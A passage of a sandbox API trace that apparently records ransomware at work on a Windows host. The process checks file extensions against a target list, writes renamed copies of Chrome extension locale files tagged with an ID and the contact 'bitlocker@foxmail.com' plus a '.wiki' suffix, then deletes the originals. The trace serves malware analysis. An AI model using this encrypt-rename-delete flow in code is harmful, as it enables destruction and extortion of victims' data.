returned -1 [0172.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0172.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0172.083] lstrlenW (lpString=".doc") returned 4 [0172.083] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.083] lstrlenW (lpString=".docx") returned 5 [0172.083] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.083] lstrlenW (lpString=".pdf") returned 4 [0172.083] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.083] lstrlenW (lpString=".xls") returned 4 [0172.083] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.083] lstrlenW (lpString=".xlsx") returned 5 [0172.083] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.083] lstrlenW (lpString=".ppt") returned 4 [0172.083] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.083] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0172.083] lstrlenW (lpString=".zip") returned 4 [0172.083] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.084] lstrlenW (lpString=".rar") returned 4 [0172.084] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.084] lstrlenW (lpString=".bz2") returned 4 [0172.084] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.084] lstrlenW (lpString=".7z") returned 3 [0172.084] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.084] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0172.084] lstrlenW (lpString=".dbf") returned 4 [0172.084] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.084] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0172.084] lstrlenW (lpString=".1cd") returned 4 [0172.084] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.084] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0172.084] lstrlenW (lpString=".jpg") returned 4 [0172.084] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.084] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.084] lstrlenW (lpString="messages.json") returned 13 [0172.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.085] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=224) returned 1 [0172.085] CloseHandle (hObject=0x1a0) returned 1 [0172.085] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json")) returned 0x2020 [0172.085] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.085] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.085] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0172.086] GetLastError () returned 0x0 [0172.086] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xe0, lpOverlapped=0x0) returned 1 [0172.087] WriteFile (in: hFile=0x1a4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0172.087] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.087] WriteFile (in: hFile=0x1a4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.088] SetEndOfFile (hFile=0x1a4) returned 1 [0172.088] CloseHandle (hObject=0x1a4) returned 1 [0172.088] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.088] SetEndOfFile (hFile=0x1a0) returned 1 [0172.089] CloseHandle (hObject=0x1a0) returned 1 [0172.089] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.089] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json")) returned 1 [0172.089] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0172.089] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0172.089] lstrlenW (lpString=".doc") returned 4 [0172.089] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.089] lstrlenW (lpString=".docx") returned 5 [0172.089] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.089] lstrlenW (lpString=".pdf") returned 4 [0172.089] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.089] lstrlenW (lpString=".xls") returned 4 [0172.089] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.089] lstrlenW (lpString=".xlsx") returned 5 [0172.090] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.090] lstrlenW (lpString=".ppt") returned 4 [0172.090] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0172.090] lstrlenW (lpString=".zip") returned 4 [0172.090] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.090] lstrlenW (lpString=".rar") returned 4 [0172.090] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.090] lstrlenW (lpString=".bz2") returned 4 [0172.090] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.090] lstrlenW (lpString=".7z") returned 3 [0172.090] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0172.090] lstrlenW (lpString=".dbf") returned 4 [0172.090] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0172.090] lstrlenW (lpString=".1cd") returned 4 [0172.090] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0172.090] lstrlenW (lpString=".jpg") returned 4 [0172.090] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0172.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0172.090] lstrlenW (lpString=".doc") returned 4 [0172.090] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.090] lstrlenW (lpString=".docx") returned 5 [0172.090] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.090] lstrlenW (lpString=".pdf") returned 4 [0172.090] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.091] lstrlenW (lpString=".xls") returned 4 [0172.091] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.091] lstrlenW (lpString=".xlsx") returned 5 [0172.091] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.091] lstrlenW (lpString=".ppt") returned 4 [0172.091] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.091] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0172.091] lstrlenW (lpString=".zip") returned 4 [0172.091] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.091] lstrlenW (lpString=".rar") returned 4 [0172.091] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.091] lstrlenW (lpString=".bz2") returned 4 [0172.091] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.091] lstrlenW (lpString=".7z") returned 3 [0172.091] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.091] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0172.091] lstrlenW (lpString=".dbf") returned 4 [0172.091] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.091] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0172.091] lstrlenW (lpString=".1cd") returned 4 [0172.091] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.091] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0172.091] lstrlenW (lpString=".jpg") returned 4 [0172.091] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.091] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.092] lstrlenW (lpString="messages.json") returned 13 [0172.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.092] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=222) returned 1 [0172.092] CloseHandle (hObject=0x1a0) returned 1 [0172.092] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json")) returned 0x2020 [0172.092] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.092] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.245] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.245] GetLastError () returned 0x0 [0172.245] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xde, lpOverlapped=0x0) returned 1 [0172.320] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.321] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.321] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.321] SetEndOfFile (hFile=0x19c) returned 1 [0172.322] CloseHandle (hObject=0x19c) returned 1 [0172.322] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.322] SetEndOfFile (hFile=0x1a0) returned 1 [0172.322] CloseHandle (hObject=0x1a0) returned 1 [0172.323] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.323] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json")) returned 1 [0172.323] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0172.323] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0172.323] lstrlenW (lpString=".doc") returned 4 [0172.323] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.323] lstrlenW (lpString=".docx") returned 5 [0172.323] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.323] lstrlenW (lpString=".pdf") returned 4 [0172.323] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.323] lstrlenW (lpString=".xls") returned 4 [0172.323] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.323] lstrlenW (lpString=".xlsx") returned 5 [0172.323] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.323] lstrlenW (lpString=".ppt") returned 4 [0172.323] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.324] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0172.324] lstrlenW (lpString=".zip") returned 4 [0172.324] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.324] lstrlenW (lpString=".rar") returned 4 [0172.324] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.324] lstrlenW (lpString=".bz2") returned 4 [0172.324] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.324] lstrlenW (lpString=".7z") returned 3 [0172.324] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.324] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0172.324] lstrlenW (lpString=".dbf") returned 4 [0172.324] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.324] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0172.324] lstrlenW (lpString=".1cd") returned 4 [0172.324] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.324] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0172.324] lstrlenW (lpString=".jpg") returned 4 [0172.324] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.324] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0172.324] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0172.324] lstrlenW (lpString=".doc") returned 4 [0172.324] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.324] lstrlenW (lpString=".docx") returned 5 [0172.324] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.324] lstrlenW (lpString=".pdf") returned 4 [0172.324] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.324] lstrlenW (lpString=".xls") returned 4 [0172.324] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.324] lstrlenW (lpString=".xlsx") returned 5 [0172.325] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.325] lstrlenW (lpString=".ppt") returned 4 [0172.325] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.325] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0172.325] lstrlenW (lpString=".zip") returned 4 [0172.325] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.325] lstrlenW (lpString=".rar") returned 4 [0172.325] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.325] lstrlenW (lpString=".bz2") returned 4 [0172.325] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.325] lstrlenW (lpString=".7z") returned 3 [0172.325] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.325] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0172.325] lstrlenW (lpString=".dbf") returned 4 [0172.325] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.325] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0172.325] lstrlenW (lpString=".1cd") returned 4 [0172.325] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.325] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0172.325] lstrlenW (lpString=".jpg") returned 4 [0172.325] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.325] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.325] lstrlenW (lpString="messages.json") returned 13 [0172.325] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.326] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=221) returned 1 [0172.326] CloseHandle (hObject=0x1a0) returned 1 [0172.326] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 